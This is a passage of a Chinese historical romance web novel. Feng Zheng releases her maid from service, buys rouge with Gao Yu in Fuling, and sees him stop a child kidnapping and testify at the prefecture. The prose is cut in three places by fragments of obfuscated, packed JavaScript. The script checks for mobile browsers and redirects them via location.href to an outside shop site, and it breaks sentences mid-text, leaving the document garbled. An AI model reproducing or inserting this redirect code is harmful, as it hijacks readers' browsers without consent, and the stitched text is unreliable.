按舆图走了一半的路，抵达扶陵郡的时候正值傍晚，而哪怕路程行进过半，冯筝还是没如高蘅所愿，劝他回心转意搭救高振。 她是想看到高家长兄获自由身，看到高家余孤都否极泰来，却不想如高蘅所为，用亲伦大义束缚他，提醒他遥远儋州，去年狱事还未了结，用这种剜人痛疮的方式逼他就范。 所以不到万不得已，她不会把高振的玉佩送到他跟前惹眼。 扶陵郡的客栈设在闹市之外，客房和车驾都安排妥当后，云燕挎着篮子，出去买些新鲜的零嘴。 没走多远，看到枣糕铺子前热气腾腾，她停了一停，刚掏出铜板，忽然间被人一把捂住嘴拖进了巷角。 正要呼救，对上女妇一双怨毒的眼，云燕一惊，“娘！” 云燕老家正是扶陵，五年前她经牙行介绍，签了奴契，到宣州一户殷实人家里做奴婢，赚些银钱贴补家用。 女妇布襦缁履，头顶扎一根布条，一口流利乡音指责她。 “赵兰香，娘真是白养你这么大了。不提五年奴契满了，你主家早该放你回来，就说你到了老家，竟也不晓得回家看看，亏我还跟那群亲戚吹捧，说你如何体贴孝顺，你真是打的娘好大一个巴掌。” 赵兰香是云燕本名，好久没被唤过名字，恍惚间竟有些生疏，但云燕清楚，事情根本不是娘讲的那样。 “娘怕是忘了，当年爹在松江府的富绅府邸中做管事，结识一群狐朋狗友，还欠下了一堆赌债。你一封家书闹我回家，到头来，是冯老夫人拨给我银子，帮咱解了燃眉之急，相应的，也把我的奴契延长一年，不然当年爹的命，如何这么容易就能保住？” 云燕语气不平，女妇则不以为然。 “他们说给了就给了？我一个铜板也没瞧见，那就都不作数。” 女妇无理取闹，云燕还要争辩，短暂停下来，陷入一种莫大的平静，“娘就直接说吧，是不是安哥儿又交不起学费了。” 她自说自话，脸上看破一切的冷漠，瞬间伤到女妇自尊。 女妇顿了顿，挥起巴掌就往自个儿脸上扇，边扇边哭，“是啊是啊，都怪我，怪我没能看好你爹，怪我一个妇道人只知道守家，管不到你远在外面赌钱的爹。这么些年，娘对你和安哥儿都不曾偏心，向你要银子也只是为了贴补生活，你怎么能这么想娘？” “实在是你未婚夫婿家婆母病重，他家担心遇丧拖延婚期，等不起你，年底就打算成亲，相的是比咱还要差的人家。孙家家宅体面，咱家算捡了便宜，没成想让别人捡了更大的便宜。娘这趟进城，就是去托驿使送信，劝你回来成亲的，远远瞅见你，这才拉住你。” “你不思念娘也就罢了，却以为娘是找你讨银子来的，赵兰香你好狠的心。” 云燕赶忙拉下女妇的手，心底又酸又苦，“娘，不要这样轻贱自己……” -- 客栈二楼的某间客房里，因为疲惫，冯筝睡得很早。 之前祖父遇险，她求到高豫跟前请他出面，而曾经冒雨受的苦寒，逞强过后，也一丝一缕还了回来。 前阵子刚刚停过的药膳，又得重新捡起来服用，冯筝无奈至极，想到浓黑的汤药，顿时浑身懒怠。 清早醒过一回，齿间干渴难耐，她够不到茶盏，索性躺回去就寝，偏她喉咙清苦，辗转反侧还是去够桌上那只薄胎的瓷杯。 只是她这样偏不起身，势必导致拨近的瓷杯往前侧翻。 侧翻的杯盏被人握稳，茶水迸溅沾湿她衣袖，云燕顾不得自己湿漉漉的手，用紫砂壶给她斟了盏热茶。 云燕一夜未归，脸有点肿，萎靡情绪遮掩不住，冯筝坐起来，白绫袜松松踩进绣鞋，接过热茶，却只是捧着暖手。 窗棂隔着屏风，哪怕她迎窗坐卧，也不至于受凉。 云燕知道，自己彻夜未归的事迟早瞒不住，也没敢瞒她，把祖籍扶陵，回过一趟家，又找孙郎说了说话的事告诉了姑娘。 赵孙两家自幼定亲，她和孙郎算是青梅竹马，感情和美稳定，是十里八乡的一桩佳话。哪知孙母病痛缠身，孙家担心以后守孝，拖延婚期，赵家的女儿短暂又不回来，这就着急择媳，先把喜事办了。 冯筝起先没听明白，意识到这些都来自赵大娘的口吻，乍一听，心中生出卖女求荣等猜疑，云燕忙辩解。 “娘说的话是真的，孙家也是好人家，我见了孙郎一面，他向我道歉，说这是他生母弥留之际的期望，没办法忤逆。” 冯筝面窗坐卧，让云燕推开屏风，对着富有市井气的景象思考很久，终于扭过头，对交手站在一旁的婢女说。 “老夫人半生救苦救难，她延长你的奴契，本意是把给你爹偿债的救济钱算到你身上，抵偿预支给你的工钱，不曾想反倒困住了你。” “话说宁拆十座庙，不毁一桩婚，离年底就差三个月，眼看六年期也要满了。孙家若真是你信得过的，我续上这桩佳话，提前放你归家倒也未尝不可。” 云燕惊讶抬眸，她苦恼了一夜，向孙郎讲难处，问转机，能做的都做了，唯独没想过要向姑娘讨一个出路。 这趟她能出门，就是因伺候姑娘才有的机缘，本不敢肖想更多，谁料姑娘转头就翻出笔墨给她放契。 按照循例，给非奴籍者放契的文书，须有主家签字捺印，以及外姓的第三人见证方能成立。 “等我这边写了文书，你拿着它，找客栈的掌柜或者三郎君做个见证，再送去官府留个底，这事就办成了。” “左右孙家还没娶亲，你现在回去还来得及，你轻轻松松回去成亲，就不怕好郎婿被截胡了。” 云燕倍感动容，手指绞动，“可这……这不合规矩。” 冯筝提笔写字，头也没抬，听到吸气声，对上她擦得酡红的眼，笑意愈浓，“祖父说过，规矩是要守的，但规矩不是金科玉律，能变通时未必不能变通。” 云燕欲言又止，没讲她若走了，没人侍奉她之类的话。 冯家家底不薄，冯筝的母亲孟夫人也曾出身富庶，当年嫁妆单子，惹得附近好不眼红。扶陵牙行多，姑娘不缺银子，买个奴婢不是难事。 就怕不能知冷知热。 她挣扎煎熬，私心和诚信打架，但最后，还是做出了取舍，把剩余未履行的短契换算成现钱，当掉了自己的一对耳铛，两副玉镯，折兑成银两赔给了姑娘。 做完这一切，推开门，对上两护卫神色莫测的脸，云燕头垂得更低了，捂着一身换过的布裙逃也似地离开。 他们下意识顺着窗子望进去，见到了预想中有些落寞的女子。 她年纪很轻，肌肤赛雪，唇若点樱，这一路走来，爱穿素静的颜色，总是一副乐呵呵的，能看开一切的样子，此刻却面窗坐着，聊以排遣各种心事。 后来，难得他们请来高三郎君，还关上房门，给里面的人留够了空间。 高豫端坐在对面那把太师椅上，隔着那盏早晨被云燕斟好的热茶看向冯筝。 这茶她一口没动，已经没有一丝热气，高豫出声。 “你既然不想让她走，何苦做这个人情放她自由。” 冯筝抱着膝盖想事情，听他说话，踩着罗袜蹬进绣鞋里坐好，冯筝心情复杂，望向高豫的视线不自觉有了深意。 “她和那孙郎，感情和美稳定，我若强留她，捏着她的奴契只认死理，她未必能体谅我的难处，我若跟她讲，这样轻言放弃又朝秦暮楚的男人不值得托付，她未必会领我的情。” 高豫没注视她太久，凭他外男身份，并不适合出现在卧房这样暧昧不明的地方，哪怕这里只是一间客栈，他们也并不适宜这样独处。 但他还是堂堂正正坐在了这里，跟她谈论，放走她此程唯一的贴身女婢这事有多草率。 听到他不认同的话，冯筝禁不住感慨，云燕后来找掌柜做见证，而不找高豫这一明智之选。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16977376|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “朝秦暮楚？谁要你跟她讲这些。” 高豫捏了捏眉心，护卫把此事告诉他，暗示他来行劝慰之事，这时候讲多余的话，除了徒增她烦恼，不会有任何用处。 “算了。” 他径自起身，换了盏热茶，递到她手边，“这样也不是不行，她心不在焉，留在你身边容易误事，久而久之，反倒生出罅隙。改天有需要的话，再寻一个婢女就是，不是说非得如何伺候你，路途枯燥，多个人说话解闷总归是好的。” “解闷还不简单，找你就好了呀。” 她不假思索道，“三郎君妙语连珠，跟人对话，一招一式体贴入微，跟你说话最舒坦不过，我何必舍近求远找旁人解闷呢。” 冯筝给他戴高帽美言他，高豫盯她半晌才挪开目光，既没答应也没拒绝。 他借称整理行李，回到了跟她隔了两三个空房的隔间。 自昨天找到客栈歇脚，他们还要住上几天，买一些干粮和过府符府的登门礼，不着急启程，整理换洗的衣物理所应当。 她扒在门边，像意识到错处，盯着高豫收拾的背影找补起来。 “三郎君？” “进来说话。” 门是敞着的，冯筝就利利索索走了进去，“云燕一走，就剩下我们四个人相互照应，对大家来说确实会有影响，只剩下我一个女眷，有些地方也确实不方便。” “早知如此，我是该提前跟同伴商量下，察纳雅言后再做决定，莽撞的地方，三郎君多多担待……” 话至一半，她的眼神倏地迸亮。 高豫正在收捡行装，掉落一件葛衣，她一眼就认出，那是他曾经樵采山林时划破，被她密密缝补后，又被她不小心曲解，还原成“他最爱的破烂模样”的那件衣物。 那旧衣裳的腋口漏着棉絮，以她对高豫的观察，衣物一类不算短缺。 如此破旧的衣裳都还留着，难道说，他要效仿越王卧薪尝胆，用曾经受过的苦楚警醒自己翻案，是也不是！ 原本端庄走着路，她烟熏火燎般跑过来，指着破衣裳振振有词。 这样近，连瞳纹浮动也看得极清，高豫注视着这双眼睛，听凭她情绪张扬，愣是没后退半步，与之前百般避讳的模样判若两人。 “寒衣耐穿，如今旧物俭用，倒是省却我一桩铺张浪费之事。” 高豫袍襟规整，面前，她像一只干渴难耐的枯兽，因为猎水不成，才振作片刻便很快蔫了气。 这些天，她勤恳研读刑律，学着磨刀霍霍向堂官，就是心存侥幸，想着未来高家若能翻案，她也能助他一臂之力。 然而这样的回答令她失望。 意识到是自己多想，冯筝变得神色蔫蔫，而她匆忙下榻前，模样本就不甚雅观：因为辗转难眠，衣裙像被揉过而又展平的纸，皱巴巴的惨不忍睹，两绺碎发扫落耳边，衬得脸庞恹恹颓唐。 他实在欣赏不了她这样的情态，抬手将她额发别开，而后收指握掌，恢复以往的严襟自重。 冯筝原先就发现，他的衣裳穿得很严实。 连颈间露出的里襟都异常周整，反观自身衣裙，对比惨烈到让人窒息。 冯筝捂住心口，直言想要收拾脸容，她也没回房，而是借屏风的遮掩整理衣裳。 高豫避到里间，借故给她重斟热茶，却不曾想，她所谓收拾脸容，不过是将手帕沾水醒了个脸。 好在妆发虽然无甚改观，裙衫倒是熨帖了些，只那白绫袜松松踩进绣鞋里，因为落座的动作过快，尚且露在裙摆以外。 似有所感地，她的双脚缩退裙底，高豫敛眸骤抬，让她慢用热茶，自己则走到过道边吹风。 二楼走廊上，他俯瞰客栈大堂，无视了守在房门边交换眼神的护卫，一言不发。 客栈里，都是些街坊的孩童和来往的住客，没什么好看的。 那件葛衣也没什么好看的。 腋窝和袖口会漏棉絮，从未找人缝起来过，除了干净整洁，丢在路边怕是连乞丐也不屑一顾。 可那是陪伴他撤出襄阳赶回睦州，一路风餐露宿，替他抵挡春寒的旧衣，也是经人密密缝补，而后亲手抠出窟窿留下的纪念。 说来说去还是得承认，未曾丢弃它，旧物俭用是一方面，经人好心缝制是另一方面。 豁然间，高豫低头一笑。 是啊，他果然落魄了，对一件粗衣都这样念旧。 27. 第27章 扶陵郡市集东接邸店酒楼，西访署府公衙，每逢午市，街面的商品盈架悬陈，盈箱叠贮。 孙记杂货铺前，冯筝将雕花的胭脂盒推回柜面，继她出宣城时找高豫说事被打搅后，又一次对护卫的管束一吐不快。 “快到晌午，我也饿了，刚刚我接他一个酥饼，你们说不妥，我便没吃，如今我相中一盒胭脂，三郎君想破费赠我，在你们眼里又是不妥。” “所以二位仁兄，请问我们言行举止究竟哪里不得体，让你们样样瞧在眼里都不清白？” 这趟去符家探望，她一直留意着备礼，由于对扶陵不熟，打算先窝在客栈，找店小二取取经，理一理备礼的清单。 奈何护卫们如影随形，往两侧一杵，胸膛硬得跟两堵墙似的，让她觉得像被软禁，做起事来好不应心。 熬到出门的这天，她跟高豫一并出行，没想到闲逛时两护卫也不消停，提防他们各种亲近。 家里雇他们护送，她坐享清福不成，反而受一顿冤枉气，所以前些天还隐忍克制的冯筝，这会儿藏也不藏了。 一边描述她和高豫磊落清白，一边指责他们守得过于苛刻，登徒子见了也得绕她三尺远。 听到她倔强地质问哪里不得体、哪里不清白，两护卫意动神摇，俯首抱拳声称不敢。 掌柜眼瞅着刚推销出去的胭脂被退回，她语调又三分赌气，觉得这生意还有戏，继续自吹自擂。说这盒石榴珠胭脂，由石榴砂和蜜蜡熬制而成，香味醇厚，是店里胭脂水粉里最好的一款，稍稍拉回了她的注意。 一旁，两护卫抱拳松开，隔在他们中间，没有退让半步，却恰好给了高豫付账的时机。 高豫侧过脸，出言调和之际，已经把银锭递给了掌柜。 “元家兄弟，胭脂是冯姑娘亲自挑的，其中并无我的主意。高某探囊出钱，一如例行公事，换个角度理解，便不算我手赠，你们看这样如何？” 这趟远途，两护卫履行护驾职责，也是雇主安插在女儿身边的眼线，他们的存在，就是提醒两人注意避嫌。 不过话说回来，云燕相关的事是个例外。 好在护卫并非油盐不进。 高豫获冯公亲赠腰封，列席主家座上宾，受他一声敬称，元逢、元值两人本就有些不太自在，见他递出台阶，也不好再苛刻什么。 他们相继让步，让出冯筝一张腮帮鼓起，垂眸深思的脸来。 令两边人都接纳的说法，冯筝却觉得这个主意并不高明。毕竟光“例行公事”一词就容易让人误解，不知情的，还以为她将高豫当小厮使唤，大小银钱都保管在他身上，让他出钱理所应当。 微微侧额，高豫在等结账，浑然不觉她探究又满含费解的视线，仿佛根本不在乎，花钱的事情一旦起了头，后面再给她破费，可能会越来越难收手。 冯筝一眼都没法再注视他，他慷慨且宽厚，显得她之前种种更像在胡闹。 她不是不讲情面的人，若非忍不住，不会当街跟自己人对峙。 然而丑话说也说了，跟他们闹别扭也闹了，相比高豫，被这样提防也不生气，还美滋滋买下胭脂，说石榴红很衬她气色。 什么气色，生气红温的气色吗？ 他胸襟宽阔，她肚量狭窄，好鲜明的对比呢。 冯筝心中浑不是滋味，但清楚高豫并无恶意，自己没必要思虑过度，也懂得氛围刚刚调和好，没道理又挑起争端。 她到底还是受了他的好处，把胭脂盒轻轻塞进绣囊。 遥记得蘅娘叮嘱过，在银钱一事上，莫要向他施善，冯筝捋好情绪，压下回馈他的念头，示意护卫们提东西。 杂货铺附近，她买的多是些茶叶香料。眼看他们一手虚摁刀柄护驾，还要腾出手来，替她拿好置办的宝货，冯筝没再嘴坏，在这静候钱货两清。 集市前，人群一阵推搡，吵嚷声凭空响起。 “我这取材紫竹的宣城兔毫，毛纯耐用，尖圆齐健，这样的宣州特产，还值不了你二十两白银？” 孙记杂货铺里，掌柜只瞟去一眼，便见怪不怪地回去整理货样，而听闻有宣城兔毫在卖，冯筝高低要去瞧瞧虚实，走到近前，就看见一商一客对峙的局面。 摊商前，两人还在掰扯，买主是个青年，持外乡口音，听贩夫一番振词更加不服。 “本来以为散铺价钱相对公道，没想到此地商贩竟一般黑。你这老山檀线香，是不是天竺来的还另说，就连一支墨笔，居然都要二十两。买你一盒线香一支墨笔，就要捞我七十两白银，你眼里到底还有没有王法？” “我在此地勤恳营生，又是犯了哪条王法。我的要价没有问题，你若觉得有失公允，大可找人验验货，怎能一副空口白牙，就诋毁我们商贩黑心？” 这一带的商贩被中伤，齐刷刷瞟过来，眼神极不友善。青年被逼怒，说要登平准署告他哄抬物价，那贩夫也丝毫不惧，说这就去平准署，请市令官评理。 远处响起官钲，越过幢幢轩墙梁枋，传彻东西贯通的市集街道，起先鼓点细密擂动，而后金钲奏响，一记又一记催得人心跳骤急。 百姓循声眺望，渐渐地也不逗留了。反观刚刚还争辩着的商客却脸色微变，哪里还有之前咄咄逼人的架势，都互相无视，忙各自的事去了。 平准署上设有高台，每逢晡时击钲三十下，以此提醒午市闭集，这规矩，冯筝早就有所耳闻，只是第一回见到实的。 按说闭市而已，署府没那么早散衙，说好要登平准署评理，没道理令两位商客就此作罢。 她便疑惑出声，这平准署究竟什么来头，让他们这般闻钲色变，一边仰仗它主持公道，一边又对它避之不及。 “平准署平抑物价，灾时靠均输提供物资，政令直接仰承尚书省户部，不受地方政级干预。署府的吏员又称市令官，多由京中下放的驻点辖官担任，辖理市集之事。若有纠纷双方前来状告，按照备案原则，需记录在册并向上报备。” “这就导致，相比其他署部遇事时逐级上报，在平准署这里，就是直接呈报京部。” “若是胜诉还好，结果若败，一张走过京部的状纸，放在过错方身上，便是妥妥的案底，这对志在科考的人并不友好。” 想想也知道，回应出自谁。 高豫站定她身旁，冯筝得到解释，很快领悟到商客自诩有理，欲求市令评理，结果被钲声一震，都不愿冒险的症结所在。 年轻人大多志在科考，案底的限制牵涉甚广，即便他们没有入仕的觉悟，也没人会想为了一件小事，闹到京部给后辈添堵。 冯筝悄声感慨，“动个嘴就能上达天听，这样乘制度的东风占到便宜，这样体察民情的好事，没想到在他们眼中会这样麻烦。” 高豫闻言望她，没有应答。 他们站在一起，肩距相隔尺余宽，她扭头还想问些什么，一段黑影擦出，不巧挡住了视野。 面对横亘在中间的护从元逢，冯筝黛眉一蹙，发现他警惕着远处，单手摁牢刀柄，循他视线去看，立时就撞见一伙人挟着孩童飞窜，看起来绝非善类。 呼吸刹那绷紧，几乎是凭直觉喊动。 “三郎君！” 高豫目色微凛，便是此刻提了护卫的剑追了过去。 因为护主而拖延了手脚，暂时没动作的元逢两人，听到冯筝表态救人，正权衡着要不要出手。眼见姑娘转身要冲，元逢刚欲阻拦，反被冯筝抬手一推。 “快去找官差！” 市集中的追逐掀起动乱，随着高豫抵膝将一人压倒，两方始起正面冲突。 高豫躲过一记痛击，抽鞘将匪徒同伙击跪，与此同时，兵锐震响声越来越近，匪徒起意挟制小童，那端，直奔衙门的护卫已经将官差带到。 匪贼共两人，一人在高豫压制下颈骨负伤，另一人侥幸逃脱。官差把嫌犯带回衙门处置，临走前，向出手相助的青年拢拳施礼，眼神起落间，发现他身边，不知何时出现了一名女子。 他甚至还未察觉动静，她就已经贴到近前，静静观察青年的伤势。 如此悄无声息，瞒过他自恃锐利的眼，官差微微凝神，没看两眼便被护卫挡住了视线。 官差放弃探究，告知他们此案有拐带案的嫌疑，请青年过去充当旁证。 高豫不想节外生枝，却知如此要求合法合度。 冯筝掰着他的手掌研究擦伤，高豫俯眼看来，神似征询，她停顿一下，然后望向前方官卒，颔首同意。 “那便配合差爷，跟他们走一趟官廨。” 扶陵郡衙辟府城隍府街以西，沿途各部科署嵌置，一行人跟随官差至此，迎面走来一名吏员。 来人自称郡守身边的佐吏，已经知道案由。佐吏从官差手中牵过孩童，发现孩童过于年幼，交流上有障碍，便命人先带去临摹画像，以便后续找寻家属，转而向高豫等人行礼。 “城中案件皆由郡守料理，郡守接到禀报，已经在前面处理此案，几位从这里进。” 没等佐吏引见，郡守赵伯骕便已出现。中年人身穿乌青底皂袍，双铊革带束一把宽腰，手提袍角迈下台阶，感谢他们仗义出手。 接下来的事，只管照章程来办。高豫被差役领进刑房，指认完嫌犯，接着就写自述笔录。 期间，差役偶尔探他进度。 青年伏笔坐案，一手矜绝的字填满纸面。罕见有人踏足刑房，还能如此措置裕如，领路的差役免不得多看他一眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽说特产出了本地市场，有溢价乃常态，但动辄翻番到二十两白银，这样会不会过于张扬了些呢？” “如姑娘所言，兔毫市价确有抛高，一般家庭无力问津，然此物并非个例。在扶陵，从玉器珍玩到文房墨宝，商品的定价都不受官府管制。” “这是为何？” 郡守三缄其口，答疑似有难处，隐约在忌讳越职言事，冯筝刚要放弃，就听到郡守旁边的佐吏笑道，郡城的平准署刚好由赵大人兼理，她这是问对人了。 冯筝眼神迟疑，只因这跟高豫片刻前的说法有些出入：扶陵郡的市令官，竟不是京中下放的驻点辖官？ “按典制追溯，确实有京官派驻平准署这一说法，只是扶陵地小，受幅员所限，达不到京中委派的标准，按品级轮下来，承接市令的职责，到最后还是落到了本官身上。” 说到这里，赵伯骕略显疲态，但依然不吝啬跟她解释。 “平准署平抑物价，除了米粮油柴、茶蜡布织以及盐铁酒等官营之物外，特定工艺品，例如钗环妆粉，鞍鞯箭囊等，因超出署府列管的商品行列，没有市令明示，地方上也无权控制。” “不过这并非说，官府完全置之不理。” “对于古玩字画等容易真伪错陈的货物，有关司署会予以监管，防范市集欺诈，再多的，我们便不能做了。” 赵伯骕解释一通，半字未提税政的缘故，只把难题推给上边市令。 冯筝敛着眸有些迷茫，还没说什么，一副迷惘困扰的模样，让赵郡守直感动容钦佩。 连这样年纪轻轻的姑娘，都如此关心百姓生计，思百姓之所思，愁民生之所愁，他堂堂郡守却束手无策，甚至对这些难题袖手旁观。 赵伯骕心情惭愧，自愧弗如之际，一道遗憾的声音颠覆他心声。 “胭脂买贵了。” 冯筝扭头，睁着她迷茫的眼看向元逢，咬牙笃定。 “胭脂一定买贵了。” 胭脂水粉在特定工艺品行列，不受官府管控的话，价钱多不公道可想而知。 元逢俯眉看着她萧瑟的脸，心底很不是滋味。手中提着的东西沉甸甸的，她所买的香料茶叶，件件不比胭脂便宜，她却只字不提这些，只怪胭脂一定买贵了。 胭脂是高郎君出的钱，心疼谁的钱实在明显。 另一侧元值抱臂默立，手指不痛快点着胳膊，望着她圆润的后脑，强忍着没说多余的话又讨她的嫌。 唯心中多嗔。 高豫钱都花出去了，谅她再想也是多余。 28. 第28章 冯筝心疼归心疼，倒和元值想到了一处，既然钱都花出去了，就没有必要思虑太多。 梳着矮鬓的后脑微动，元值乱动弹的手指突然停住，姑娘眼神探究，仿佛能洞察心声。心虚涨到顶峰，他扯了扯嘴唇，一双抱臂的手恭谨垂落。 她没说什么，视若无睹移走了视线，元值轻舒一口气，觉得被这样抓包竟有点羞耻。 忽略掉微热的耳根整顿神情，重新肃起脸，眼观四方，刚刚捂好的遮羞布，被哥哥警告的眼神一下子捅穿。 他们非奴籍出身，从未做过伺候或者侍奉的活，只因精通武艺，出来讨镖师的营生无果，所以才接了冯家的聘金，护送千金百里探亲。 途中能谨守职责，禁欲禁言就不错了，至于收敛所有情绪或者小动作，确实有点难为人。 然而侍从和奴婢无二，聘金已收，规矩不能废，元逢警告弟兄守礼，不多时，前面高豫走完了章程。 冯筝远远看到他，顾不得赵郡守那微微窘态，也顾不上前来相送的佐吏，提裙赶过去跟他会合。 出了官廨，时辰已经不早，席地叫卖的摊商，早在钲声催促下收了铺盖，腾出大片清静空地。 晚来天色微暗，下起一阵小雨，蒙蒙雨线不妨碍行路，高豫还是给她买来一只伞。 冯筝无声瞄了眼高豫，思绪停在照面之间，而后接过伞，却朝着护卫所在，款步走去，递过两人头顶。 雨水溅在伞面，头顶恍若跳珠落纸，两护卫俱是一怔，呼吸隐隐放轻放慢。 伞面再大，罩不住两位青壮之年，冯筝微微皱眉，元值朝哥哥挪去一步，识相地与他靠拢在一起，半边委屈在外的身子缩进来，勉强能被油纸伞容纳。 伞下两人，一同望向大发善心的姑娘，拿不准她起的什么主意。 冯筝无疑是好看的。 她瞳珠清圆，在雨线织成的珠帘前清润无比，占据两人所有感官，却听冯筝笑劝，一句不容拒绝的话，荡尽所有旖旎柔软。 “耗用两位苦力，害我于心不忍，便辛苦你们带着东西回客栈去，你们先行休息，我和三郎君还有话要私谈。” 两护从起先表现得迟疑，还是元逢想起，此前她拿自身名节瞎扯的话，预感她又要质问他们哪里不得体，哪里不清白，这就接过伞柄躬首后退。 他们乖驯服顺，冯筝深感欣慰，将人支走前，不忘要回那一张酥饼。 三两下咬完酥饼回头，正撞见高豫站在绵针细雨中，等着她不惜出借他的伞支走旁人，也要私谈的话是什么详情。 “之前孙记杂货铺的胭脂，你是花了多少钱买的？” 这雨没持续多久，停得很是时候。隔壁商铺的师傅收好出借他们后，又被归还的伞，笑看这对璧人走远，只当姑娘是个掌家财的，对夫郎的开销突袭查账。 对于她的“拷问”，高豫但笑不语，冯筝哪能放过，口中提醒他防范她对账，眼波一动就抢他荷包。 高豫韧腰微拧，躲过她偷袭，却转手解下腰侧荷包，放入还未站定的冯筝掌心。 “将将二十两白银。冯姑娘不知原有的数额，单凭余钱，如何拿我对账？” 感受到手中切实的分量，某种不可名状的托付感往心底一沉，忽然间，冯筝不再开得起玩笑。 她将荷包物归原主，也将一时玩闹的对账话收回，得知一枚胭脂开销二十两，冯筝替他心疼起银钱，“没想到我一语成谶，说让三郎君破费，还真就成了破费，你这冤大头，掌柜宰你，你都不带眨眼的。” “你等我，我这就回去把他骂哭。” 她人还没动，嘴里已经骂了掌柜好多遍，之前关于钱都花出去了，没必要再计较的想法，在清拔落拓，然萧索沉静的高豫跟前，全都被她忘个精光。 手腕被人一把握住，充盈在眼里的冲动劲，随着扭头波及到高豫身上。 她用力抽出手腕，刚刚腾出空，又被他进一步重新握牢，感受到手指缓慢贴合，挤掉中间最后一丝缝隙，冯筝突然就不较劲了。 怒气是真的，打抱不平也是真的，那股说不出来的怜悯疼惜，被高豫按在发顶的手轻柔抚平。 他手掌贴发，却顺手遮掩这一动作，把她的发带捋到后颈。 不期然令冯筝想起，重逢那夜，她酒后强闯客院，他从墙上那幅《九成宫醴泉铭》墨裱上回首望来的眼神。 居高思坠，持满戒盈。载有冯公书丹的八字名诤被他背影遮掩，青年人眼神毅定，她于恍惚中刹那看懂，那是他对高家历程痛定思痛后，某种近乎残酷的醒绝。 而此刻，他就是睁着这一双醒绝的眼，说一些模糊得让人听不懂的话。 “我非富贵多金，也不算什么寒微贫贱，或许在仕人看来，我身负庶籍的后半生，注定仰靠市井恩露过活，钱财花销能省则省。” “然而这些只能算最坏的处境。” “我替自己想好了打算。过去那点微薄的禄钱，不能给困心困欲的我买到舒心，争到快意，如今朝廷结清了我积年的饷银，难得有余裕，倒不如顺心顺意一回，搏到芙蓉展颜，芙蕖献宠，有幸配过她的花期。” “也不至于未来蹉跎鬓白生，到头来，弥留榻上，回顾年岁，只能讲一句煎熬人寿。” 他始终捏着她发带末端，至此，他毫不拖沓地放了手。 冯筝不明白，他为何好端端的要给未来批命，也不明白，人都应该把钱花在心肝上，一块俗不可耐的胭脂，送给她这样的庸脂俗粉，她愉悦了片刻，就真的只是愉悦片刻。 她转头就忘，芙蓉和荷花未必真的对他盛放了，哪里值得他这样快慰？ 懵懂迷茫间，心脏噗通坠落，又飘飘然有些找不到北，然而这怎么能行，她是要去找掌柜的麻烦的。 本朝官银私银统一标准，一枚银锭值三十两白银。白花花的银锭就这么给了出去，掌柜赚了他二十两银子，找回的铜钱或碎银，还不够填他半个荷包。 他现在或许觉得顺心顺意，哪天捉襟见肘，难保不会懊悔吃了闷亏。 哪怕往官廨走一趟后，知晓了扶陵物价失管的弊病，她也隐隐觉得，那胭脂标价的字牌上，未必真是这个数额。 当初相中胭脂时未曾注意，现在杀个回马枪，或许还能捉到把柄，于是，飘忽到险些找不到北的冯筝，方向明确地往杂货铺赶。 他总是擅长调和一切，这次却反常没有阻拦她。 他宽纵地跟随她，仿佛不介意她这一去，实打实的就是胡闹。 冯筝在前面穿行，偶然瞥到高豫袍角，忙不迭想起从前在闹市里，看到的那种有糟糠撑腰而自满的柔弱夫郎。 思绪一滞，她停了停，回头打量一眼。 他速度不慢，步调紧凑，却走出一股雍容闲雅的错觉，撞见跟前人停顿，还抽空朝她笑了一下。 她暗暗摇头，甩掉脑中那道莫须有的联想。 -- 孙记杂货铺处于繁华地段，一场小雨把附近客流清退，本是悠哉游哉守店的好闲暇，然而此刻满地狼藉。 一群劲服的官差将店铺围抄，掌柜孙崇福抱着一摞经不起磕碰的瓶瓶罐罐，双腿颤颤试图说情。 这些不起眼的杂货，足够顶他半幅身家。他宽胖的身躯罩不住财宝，捕吏在铺子里一顿捅戳，把货样捣得乱糟糟的，孙崇福眼前一阵昏黑，恳请他们高抬贵手。 不久前，拐带案中嫌犯的同伙逃脱，捕吏根据民众线报，一路搜寻到这里，把附近商铺搜罗了个遍。拐带孩童兹事体大，案情性质恶劣，他们身负要务，下手没轻重，引起商户怨声载道。 孙掌柜还在为自身生计据理力争，惊叫一声，柜面的瓶罐也不管了，一把抱住捕吏戳进木箱的银枪，连喊使不得。 “这些都是名贵香粉，用瓷罐装着，为防受潮才封存在箱子里，如此乱捅，香粉岂能完焉？敝店小本生意，也没法藏人，经不起差爷们这样糟蹋啊。” 附近同行深感理解，暗戳戳说理，“一路商铺，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完，又对她方才的善举不胜感恩，说什么也要把之前收取的银锭赠还给她。 高豫站在杂货铺对面的的商幌下，目睹她的舌灿莲花，也亲见她摒除私怨，解困纾难。 此前她让他好生等候，他就停在这里，一步也未曾走动。 她满意知足地走近，把一锭银掖进他荷包，高豫俯看她锁口荷包，蓦地提问。 “所以这枚胭脂，还算由我亲赠的吗？” 他既没出钱，也没出力，这胭脂便更像是杂货铺的赠物。 冯筝想通这些，一声“当然算”被她好险憋住。听出话中的遗憾惋惜，冯筝眼底暗含得意，想不到世易时移，还有轮到她哄刍荛的一天。 这就生出点狡黠意趣，勾住他荷包袢带的手，留恋般划了一下，绕他走动的脚步停在背后。 “纵然在两护卫面前，三郎君自称探囊出钱，一如例行公事，说胭脂不算你手赠，但我懂，这些话都是应付他们的。” “你应付旁人的话不能当真，焉知我那段磊落清白的话就不是敷衍？” 